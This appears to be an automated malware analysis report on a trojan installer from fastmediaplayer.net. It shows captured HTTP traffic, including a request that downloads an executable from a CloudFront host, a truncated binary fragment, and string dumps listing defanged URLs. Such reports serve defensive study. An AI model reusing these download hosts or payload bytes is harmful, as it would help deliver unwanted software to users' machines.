Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:27:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
600a..............k..F.......8Y...[.sv.P<..l.....I....MB...PH..#j_.......$.d.......6.}..{U....../.....eu5................?.......w.............lQTE9.M.......\V.u.....7{o.. .../...U[..8<.V..{.j.9..G....t..lh..........R.:.].:..s....hr.....U^......"......d..i..}4-f?o.......N..e.W....u>.T.m.?^,:[...|..q.bZ..M.TZ.......|.v.........X...u.v.....K;[......$......................[.qo.....3.=|?.....MF..l...x..>L..i1.g..O...gkQ........bv..o>..zW.l.jt..........j..gU...h.5..Y1....[UV...i9..G......|Ve.....|.[...>....w....>....e,....M..{.rF..%..7......F.].T.&..W....x.*_Tsf.....h.......:.Wo.W..=^^e...L.yu3.m..7[.{.3.,*.1....7......aw.?.<>.[.N';.8.....~.{.{.............`.......'.?........r..;T..jjz........o.v.{'?..=^..K....^....g.}.=}.........>:.?=<^..s..,.......S.b.O....e...NOz...FxJ.I...t...l^.-oNN'...'....}p...O......3?..=.,..M.<.M..rv3..w}Iv.\.......Z..g...w..}.zF.E...=....\._OG.........uG{....k@..bQ..|.\v..h....!A"....z.W..G{s.......{..u....[/.........z.C...W....k..../..3.P}N......m...|su..W..is.N._Z..N9.1.4F...".55.R 4.........yY........3N....W.........sd...YyT.w..^....X..l.#.......(....|..J.T....s.*......r..w.......@&.3.9.......n.....r.89<{.h...=[.g{>.a.....9g..}.Q. ..;..i.j..:....j.fca.......?c....E.U;...I.../........%`4...o..g..1..(.>......|Qyo.........b.....q..z...[0..YOo?.xS...g.ax....g5.*>...(..{.U...y....o?...{g..|...,../..... &...U............3......O:.....F.~o.O.V9.......7 e.Y...... Bg.~k=..p.."........Y..6...}`q.y.Z..j.s.d>....g.:...~......YUZ..h..."\..G..u...{S.
<<< skipped >>>
GET /carriers/604/css/604.css HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: text/css
Content-Length: 601
Last-Modified: Mon, 31 Aug 2015 10:38:14 GMT
Connection: keep-alive
ETag: "55e42e96-259"
Accept-Ranges: bytes
body .{. background-color: #f0f0f0;.}...topInstallerImage.{. float: left;. clear: both;. background: url('../img/header.jpg') no-repeat center center;. height: 67px;. width: 498px;.}..#diS1MainTextTop.{. font-size: 20px;. margin-left: 30px;. margin-top: 40px;. height: 50px;. width: 447px;. float: left;. clear: both; .}..#diS1MainTextBottom.{. font-size: 13px;. font-weight:bold;. margin-left: 30px;. width: 447px;. height: 122px;. float: left;.}..#di604desc.{. font-size: 13px;. margin-left: 30px;. width: 447px;. height: 117px;.}....
GET /setup_pages/general/progress604/css/progress604.css HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: text/css
Content-Length: 539
Last-Modified: Mon, 31 Aug 2015 10:38:14 GMT
Connection: keep-alive
ETag: "55e42e96-21b"
Accept-Ranges: bytes
...#DownloadingText.{. font-size: 13px;. font-weight:bold;. margin-left: 45px;. width: 447px;. margin-top: 40px;. height: 30px;. float: left;. clear: both;.}..#progressbarContainer.{. float: left;. clear: both;. width: 400px;. margin-left: 45px;.}..#progressbar.{. float: left;. clear: both;. width: 400px;. height: 20px;.}...#diS5Hr .{. margin-left: 16px;. width: 462px;. border: 1px;. color: black;.}..#hrS5 .{. border: 1px;. background-color: #b8b8b8;. height: 2px;.}....
GET /carriers/604/img/header.jpg HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:00 GMT
Content-Type: image/jpeg
Content-Length: 7657
Last-Modified: Mon, 31 Aug 2015 10:38:14 GMT
Connection: keep-alive
ETag: "55e42e96-1de9"
Accept-Ranges: bytes
......JFIF.....H.H.....C....................................................................C.......................................................................C.....................................................................................H>. .....$....I.H .A..........}Zj...I........@..I.. .............}nj........................Ys..UA.9.nt .....f...x..Bi....2..7.......8,...4.....H......<...f..p.8a....g8\8..0..6{...MY.*...S...l.k.H..L.w...0........l.h...........>.5T.P..3..c3...l....c$.A\.s...f,..^1...S..Y .0.[1..E.....................I.................yu...U...$.@....................?.&..............................'............................45.P.0!$@.............>.V.V.V.V.V.V.V...........V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V...V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.V.............V.Q.....?....~O.l~....`k ......[{./B...... n..(.,.'..... ?xG.......&;.gH..t....(....b........\V....[u.U.#N...g..XF...l."x.....w.V?`O....3.D.=.;"f....m..8... .|......R.m... ...@..........! ...c....|.Afi66.........k.=.UJQ...fm%.l.U.....2.... ......8....<..SM..".. o...._-......d.......)...-.R.gW.0.1qYBWE...ee.^E,...g9.....'...OR,...s.WX...?.tt.<`...WZk.......x...OORT.G..u]k.c....#.....:..f.ACl!.3.Uz.GK.m.`".IT.q...5..I..8.d.t...K.0 ..5...Zz.......R...C.*.....(..2W..G<.l.......At>..\H.s@..6..m.....{c..........9...4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\..4%..sB\...q...............................?.......................
<<< skipped >>>
GET /setup_pages/general/img/finish.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.fastmediaplayer.net/installer.php?id=604&env=2&setup_version=42.4&srcid=565a68b1-39f6-4c10-8ee4-2211e2f8b0f1&sub_id=wR2RQOIKMSAVNEBOGCL9AVF4&pub_id=433&os=5.1&dotnet=4
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: installer.fastmediaplayer.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Dec 2015 17:28:01 GMT
Content-Type: image/png
Content-Length: 754
Last-Modified: Mon, 25 May 2015 16:05:43 GMT
Connection: keep-alive
ETag: "55634857-2f2"
Accept-Ranges: bytes
.PNG........IHDR...Z.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx..W..aQ..BdV......f.tB&...LP.ll."1..Id'.(u2.F....Q...D.d....1....N.b.V.f'.W..{......s.;......d:..l6;b*x<.B..z....._...N.\.g,..^/..O^_9?.....b.x2.0...T.v....{>.c0.N....>H.....V8b6......l...a.........B...h..www;M....@.m. <.'.r..7.<.O2.....}<?...V...3Y....{..t...(....v6.....e ..v2.2L....b2...O..j.`0@..h.jO../:r..|.[4.M..n:.....b....Z.V.T..&:.h4JLP...b.Z.....c.X,.......C.....(...6o<.....p@i2. 7..r..pW..777..J..Y..q~~...![..x<N...>...GK{)..'.$z.@@M..$.>..t.e.....D.V.I(..9;....A..v.. ..P...:...s.^.rH..7j..84.#.......d"D"........1..P*..u.[...FW..........$..&..lw..F...`x...V8..KW...p.:6.,...{tp.\..'''.....B.R..P..-.P(\\\h.Z..1..A..`..L.R.f>.3....D"........CW5M.qp....IEND.B`.HTTP/1.1 200 OK..Server: nginx..Date: Tue, 08 Dec 2015 17:28:01 GMT..Content-Type: image/png..Content-Length: 754..Last-Modified: Mon, 25 May 2015 16:05:43 GMT..Connection: keep-alive..ETag: "55634857-2f2"..Accept-Ranges: bytes...PNG........IHDR...Z.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx..W..aQ..BdV......f.tB&...LP.ll."1..Id'.(u2.F....Q...D.d....1....N.b.V.f'.W..{......s.;......d:..l6;b*x<.B..z....._...N.\.g,..^/..O^_9?.....b.x2.0...T.v....{>.c0.N....>H.....V8b6......l...a.........B...h..www;M....@.m. <.'.r..7.<.O2.....}<?...V...3Y....{..t...(....v6.....e ..v2.2L....b2...O..j.`0@..h.jO../:r..|.[4.M..n:.....b....Z.V.T..&:.h4JLP...b.Z.....c.X,.......C.....(...6o<.....p@i2. 7..r..pW..777..J..Y..q
<<< skipped >>>
GET /finalinstaller/FinalInstaller_dotnet4.exe HTTP/1.1
Host: d20ssor9owizgr.cloudfront.net
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 108544
Connection: keep-alive
Date: Tue, 08 Dec 2015 17:22:32 GMT
Last-Modified: Sun, 06 Sep 2015 12:47:03 GMT
ETag: "23846a403ab4e24ee76f5d33ff06d0d3"
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 297739e3d74d139e546f90d2ef5a6887.cloudfront.net (CloudFront)
X-Amz-Cf-Id: GN8C1IB9aI1WsXy-xN_ondR_DJRxbBLvfy9r74Jhi9U6CsADBFDHdw==
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p4.U................................. ........@.. ....................................@.....................................K.... ............................................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................H.......X....I...............7...........................................(....*.r.(......}......}......}....*....0..r............(....(.......(....,W.r...po.......(....,B.rc..p (...........o......,&.rs..p.$o.......(....,.........o.....*.*...0..'........(..........r...p(....(....-.r...p(.........~....(....-...r...p(....(....-.r...p(.........r...p~....(..........:....r...p.H..........(........r...p....((.......(&.......(C.......r...p....(0.......r...p....(.........(A........r...p.....(%........(9........(.........(.........(1........(.........(A........((........(#........(=........(A........r...p.....(*........(.........(1........(0........(#........(.........(/........(0........()....... (D.......!r...p...."(7.......#(........$(6.......%(/.......&r...p....'( .......((........)r...p....*(8....... ( .......,(........-(.........(......../(;.......0(C.......1(B.......2(4.......3(........4(........5(A.......6(@.......7r...p....8(D.......9(B.......:(3.......;r...p....<(4.......=r...p....>(<.......?
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1756:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
xSSSh
xSSSh
FTPjKS
FTPjKS
FtPj;S
FtPj;S
C.PjRV
C.PjRV
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
portuguese-brazilian
portuguese-brazilian
operator
operator
GetProcessWindowStation
GetProcessWindowStation
Software\Microsoft\NET Framework Setup\NDP\v2.0.50727
Software\Microsoft\NET Framework Setup\NDP\v2.0.50727
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegCloseKey
RegCloseKey
ADVAPI32.dll
ADVAPI32.dll
GetCPInfo
GetCPInfo
GetProcessHeap
GetProcessHeap
c:\%original file name%.exe
c:\%original file name%.exe
*0004080
*0004080
nKERNEL32.DLL
nKERNEL32.DLL
mscoree.dll
mscoree.dll
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
WUSER32.DLL
WUSER32.DLL
hXXp://d20ssor9owizgr.cloudfront.net/finalinstaller/FinalInstaller_dotnet
hXXp://d20ssor9owizgr.cloudfront.net/finalinstaller/FinalInstaller_dotnet
fastmediaplayer.net
fastmediaplayer.net
avg1.exe_1820_rwx_00950000_00014000:
S.HW#r']%%y8
S.HW#r']%%y8